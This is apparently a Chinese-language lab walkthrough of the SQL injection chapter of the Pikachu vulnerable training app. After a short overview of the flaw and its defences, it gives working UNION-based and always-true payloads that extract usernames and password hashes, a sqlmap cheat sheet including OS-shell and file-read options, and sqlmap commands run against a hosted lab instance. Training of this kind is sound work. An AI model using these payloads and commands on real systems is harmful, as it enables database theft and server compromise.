Pikachu 第四章 Sql Inject

Sql Inject(SQL注入)概述 哦,SQL注入漏洞,可怕的漏洞。 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。 一个严重的SQL注入漏洞,可能会直接导致一家公司破产! SQL注入漏洞主要形成的原因是在数据交互中,前端的

Sql Inject(SQL注入)概述

哦,SQL注入漏洞,可怕的漏洞。

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。

一个严重的SQL注入漏洞,可能会直接导致一家公司破产!

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;

2.使用参数化(Parameterized Query 或 Parameterized Statement);

3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

SQL注入在网络上非常热门,也有很多技术专家写过非常详细的关于SQL注入漏洞的文章,这里就不在多写了。

你可以通过“Sql Inject”对应的测试栏目,来进一步的了解该漏洞。

1.数字型注入

我们使用Burp Suite抓包一下

输入and 1=1 的时候页面没有报错

我们以此判断是数字型注入,不需要闭合符

接下来我们使用order by来判断可以显示的列

当查询字段数为2时,页面正常显示

当为3的时候就不再显示,说明这个表有两列

其原理是,order by会对列继续排序,当我们输入的列数超过实际拥有的列数,就会提示该列不存在

查询数据库和数据库版本

union select database(),version()

查询所有表,这里使用mysql5.0以上版本自带的information_schema表

union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'

查询敏感表users表中所有列

union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'

查询用户名和密码

union select group_concat(username),group_concat(password) from users

然后我们去md5解密

2.字符型注入(get)

我们判断一下闭合字符

我们输入1'就出现了页面报错

可以猜测闭合符就是单引号

猜测出闭合符,我们可以尝试构造万能密码查询所有数据

' or '1'='1

我们也可以查询所有的表,数据库

查所有表

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+&submit=查询

与上一关不同的是,这一关可以在url栏中构造sql语句了,并且闭合符是单引号,其余与上一关一样,后面我就不具体演示了

3.搜索型注入

这里我们介绍一个sql注入常用的注入工具———sqlmap

这里介绍下sqlmap常用的一些语法

get型常用参数

-u:指定注入的URL sqlmap -u URL

--dbs:爆出所有数据库 sqlmap -u URL --dbs

--dbms:指定数据库类型 sqlmap -u URL --dbms=mysql

--users:查看数据库的所有用户 sqlmap -u URL --users

--current-user:查看数据库当前用户 sqlmap -u URL --current-user

--current-db:查看网站当前数据库 sqlmap -u URL --current-db

--is-dba:判断当前用户是否有管理员权限 sqlmap -u URL --is-dba

[11:57:52] [INFO] testing if current user is DBA

[11:57:52] [INFO] fetching current user

current user is DBA: True

--roles:列出数据库所有管理员角色,仅适用于oracle数据库 sqlmap -u URL --roles

--tables:爆出所有数据表 sqlmap -u URL -D 数据库名 --tables

--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns

--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 --dump

--dump-all:爆出数据库中所有的数据 sqlmap -u URL -D 数据库名 -T 表名 --dump-all

--sql-shell:获取数据库shell sqlmap -u URL --sql-shell

--os-shell:获取服务器shell sqlmap -u URL --os-shell

--file-read:读取服务器文件 sqlmap -u URL --file-read "文件路径及名称"

--file-write 本地文件 --file-dist 目标文件路径及名称:将本地文件上传至目标服务器

--time-sec=2:延时注入 sqlmap -u URL --time-sec=2

--batch:探测过程中不进行询问,一律选择默认

-m:如果有多个url地址,可以把多个url保存成一个文本文件,-m可以加载文本文件逐个扫描

post型常用参数

-r:指定POST数据文件 sqlmap -r post.txt

--data:这种不需要将数据进行保存,只需要将post数据复制下来即可 sqlmap -u URL --data="post数据"

--forms:自动搜索表单的方式 sqlmap -u URL --forms

--cookie="抓取的cookie":测试cookie字段

--param-del:参数拆分字符,当GET型或POST型需要用其他字符分割测试参数的时候需要用到此参数,sqlmap -r post.txt --data="query=foorbar;id=1" --param-del

--referer:在请求中伪造http中的referer,当level参数设定为3或者3以上的时候会尝试对referer注入

--headers:增加额外的http头

--proxy:指定代理地址

-p:指定测试参数

回到我们的题目,我们就拿这个题来举例子

首先探测注入点

python sqlmap.py -u "https://pikachu.lammy.fun/vul/sqli/sqli_search.php?name=al&submit=%E6%90%9C%E7%B4%A2#"

成功探测出注入点,并且爆出了数据库类型及其版本

接着爆库

python sqlmap.py -u "http://pikachu.lammy.fun/vul/sqli/sqli_search.php?name=al&submit=%E6%90%9C%E7%B4%A2#" --dbs

爆表

python sqlmap.py -u "http://pikachu.lammy.fun/vul/sqli/sqli_search.php?name=al&submit=%E6%90%9C%E7%B4%A2#" -D "pikachu" --tables

爆字段名

python sqlmap.py -u "http://pikachu.lammy.fun/vul/sqli/sqli_search.php?name=al&submit=%E6%90%9C%E7%B4%A2#" -D "pikachu" -D "pikachu" -T "users" --columns

爆数据

python sqlmap.py -u "http://pikachu.lammy.fun/vul/sqli/sqli_search.php?name=al&submit=%E6%90%9C%E7%B4%A2#" -D "pikachu" -T "users" -C "password,username" --dump

4.insert/update注入

python sqlmap.py -u "http://pikachu.lammy.fun/vul/sqli/sqli_iu/sqli_reg.php" --data "username=1&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit"

评论

粤ICP备2025382526号
公安备案 粤公网安备44080202000201号